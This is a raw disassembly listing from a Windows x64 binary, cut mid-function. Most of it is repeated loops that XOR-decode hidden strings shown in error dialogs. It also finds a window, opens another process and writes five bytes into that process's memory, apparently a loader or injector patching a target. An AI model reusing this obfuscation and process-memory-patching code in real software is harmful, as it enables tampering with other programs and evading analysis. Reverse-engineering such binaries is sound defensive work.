pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140045a10
cmp eax, 0x12
jge 0x140045b5f
movsxd rax, esi
lea r8, [rbp + 0x538]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x12
jl 0x140045b30
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x538]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
movups xmm0, xmmword [str.PLq]
movups xmmword [rbp + 0x4c8], xmm0
movzx eax, byte [0x140115d08]
mov byte [rbp + 0x4d8], al
mov r8d, esi
cmp r15d, 2
jl 0x140045ced
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x4cc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140045be0
cmp r8d, 0x11
jge 0x140045d33
movsxd rax, r8d
lea r9, [rbp + 0x4c8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140045d00
lea rdx, [rbp + 0x4c8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400460d0
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x1e0], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x1e8], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x1ec], ax
cmp byte [0x140115335], 0
je 0x140045ee3
mov r8d, esi
cmp r15d, 2
jl 0x140045e9f
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x1e0], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e4]
xorps xmm2, xmm1
movd dword [rbp + 0x1e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140045eb0
mov eax, dword [str.167rT]
movups xmm0, xmmword [0x140115140]
mov dword [rbp + 0x308], eax
movups xmmword [rbp + 0x2f0], xmm0
movzx eax, byte [0x14011515c]
movsd xmm0, qword [0x140115150]
mov byte [rbp + 0x30c], al
movsd qword [rbp + 0x300], xmm0
cmp r15d, 2
jl 0x14004606a
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2f4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140045f60
cmp eax, 0x1d
jge 0x1400460af
movsxd rax, esi
lea r8, [rbp + 0x2f0]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1d
jl 0x140046080
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x2f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140046460
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x1f0], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x1f8], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x1fc], ax
cmp byte [0x140115335], bl
je 0x140046283
mov r8d, esi
cmp r15d, 2
jl 0x14004623f
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x1f0], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f4]
xorps xmm2, xmm1
movd dword [rbp + 0x1f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140046250
mov eax, dword [0x140115cf0]
movups xmm1, xmmword [0x140115ce0]
movups xmm0, xmmword [0x140115cd0]
mov dword [rbp + 0x5a0], eax
movups xmmword [rbp + 0x590], xmm1
movups xmmword [rbp + 0x580], xmm0
cmp r15d, 2
jl 0x1400463fa
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x584]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x1400462f0
cmp eax, 0x24
jge 0x14004643f
movsxd rax, esi
lea r8, [rbp + 0x580]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x24
jl 0x140046410
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0x580]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
mov rdx, qword [0x14016ca90]
test rdx, rdx
je 0x140047320
mov eax, dword [rdx]
mov dword [rbp + 0xfd0], eax
movzx eax, byte [rdx + 4]
mov byte [rbp + 0xfd4], al
mov qword [rsp + 0x20], rsi
mov r9d, 5
lea r8, [rbp + 0xfd0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140047320
call fcn.140041690
test al, al
jne 0x140046840
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x200], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x208], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x20c], ax
cmp byte [0x140115335], 0
je 0x140046653
mov r8d, esi
cmp r15d, 2
jl 0x140046606
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x200], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x204]
xorps xmm2, xmm1
movd dword [rbp + 0x204], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x200]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140046620
mov eax, dword [0x140115a50]
movups xmm0, xmmword [0x140115a38]
mov dword [rbp + 0x2e8], eax
movups xmmword [rbp + 0x2d0], xmm0
movzx eax, byte [0x140115a54]
movsd xmm0, qword [0x140115a48]
mov byte [rbp + 0x2ec], al
movsd qword [rbp + 0x2e0], xmm0
cmp r15d, 2
jl 0x1400467da
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2d4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x1400466d0
cmp eax, 0x1d
jge 0x14004681f
movsxd rax, esi
lea r8, [rbp + 0x2d0]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1d
jl 0x1400467f0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x2d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
lea rcx, [0x14016b368]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14016b368]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140046f9d
test al, 0x10
jne 0x140046f9d
lea rcx, [0x14016b368]
call fcn.14004c5f0
mov rdx, rax
mov ecx, edi
call fcn.140041b60
test al, al
jne 0x140046c20
mov rcx, rbx
call fcn.140040a20
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x210], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x218], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x21c], ax
cmp byte [0x140115335], 0
je 0x140046a33
mov r8d, esi
cmp r15d, 2
jl 0x1400469e8
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x210], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x214]
xorps xmm2, xmm1
movd dword [rbp + 0x214], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140046a00
mov eax, dword [0x140115a98]
movups xmm0, xmmword [0x140115a80]
mov dword [rbp + 0x328], eax
movups xmmword [rbp + 0x310], xmm0
movzx eax, byte [0x140115a9c]
movsd xmm0, qword [0x140115a90]
mov byte [rbp + 0x32c], al
movsd qword [rbp + 0x320], xmm0
cmp r15d, 2
jl 0x140046bba
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x314]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140046ab0
cmp eax, 0x1d
jge 0x140046bff
movsxd rax, esi
lea r8, [rbp + 0x310]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x1d
jl 0x140046bd0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x210]
lea rdx, [rbp + 0x310]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14004aec4
movsd xmm0, qword [str.kQ_IWxFZ46_6E]
movsd qword [rbp + 0x220], xmm0
mov eax, dword [0x140115330]
mov dword [rbp + 0x228], eax
movzx eax, word [0x140115334]
mov word [rbp + 0x22c], ax
cmp byte [0x140115335], 0
je 0x140046dc3
mov r8d, esi
cmp r15d, 2
jl 0x140046d74
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWxFZ46_6E]
xorps xmm2, xmm0
movd dword [rbp + 0x220], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x224]
xorps xmm2, xmm1
movd dword [rbp + 0x224], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x220]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140046d90
movups xmm0, xmmword [str.qWP_I___]
